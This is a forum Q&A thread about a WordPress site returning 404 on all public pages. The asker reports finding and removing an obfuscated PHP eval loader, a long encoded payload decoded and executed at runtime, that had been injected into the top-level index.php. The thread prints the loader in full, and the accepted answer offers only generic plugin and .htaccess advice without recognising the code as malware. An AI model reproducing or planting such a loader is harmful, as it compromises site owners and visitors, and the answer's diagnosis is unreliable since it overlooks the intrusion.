WordPress 404 front page and all pages, even after permanlinks reset

Question

I had a WordPress site that was working today. The wp-admin section was not working. I renamed the plugins folder. That did not help. So I deleted the .htaccess file in wp-admin. This fixed the problem for wp-admin, which is now working.

I then restored the plugins folder.

However, the public part of the site was suddenly broken:

http://www.smashcompany.com/

http://www.smashcompany.com/technology/object-oriented-programming-is-an-expensive-disaster-which-must-end

There are 3 things that are often recommended for this problem:

deactivate plugins
restore the .htaccess file
rebuild the permalinks

I did all 3 of these but I am still getting 404 on all public pages.

There are no useful error messages that I can find in the log file. Just 404 on every request.

Can anyone suggest other fixes?

On the same server I have a WordPress site that works fine:

http://www.weneedpatientadvocates.com/

Therefore I don't think this can be a problem with global Apache settings.

I'm thinking it has to have something to do with plugins, but I've deactivated and then reactivated them, three times now, without getting any improvement.

Reading here:

https://themeisle.com/blog/wordpress-error-log-debug/

I added this to wp-config.php:

define (WP_DEBUG , true);
define (WP_DEBUG_DISPLAY , true);
@ini_set('display_errors', 1);

But I still can't get any errors to display.

I added this to the top of wp-config.php:

echo "hi";

This does not appear. So the problem is before that.

Update

Okay, I fixed this. In the top level index.php, I removed this:

$O00OO0='n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j';$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("$O0O000="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 
        eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),    
        $OO0O00($O0O000,0,$OO0000))));"));

What is that craziness?

Why would it break my blog?

winteck · Accepted Answer

Have you tried to deactivate all plugins, rename the plugin folder and try to access the site. If that works then the issue is one of the plugins. Activate one plugin and test, activate the next one and test and so on ... until you find the culprit.

If that does not work, then there could be change made to your .htaccess files. Take a look at the modified date on your .htaccess files. Maybe a plugin made some changes the .htaccess files.

You may also try to replace the .htaccess file with fresh .htaccess files taken from the wordpress source code.

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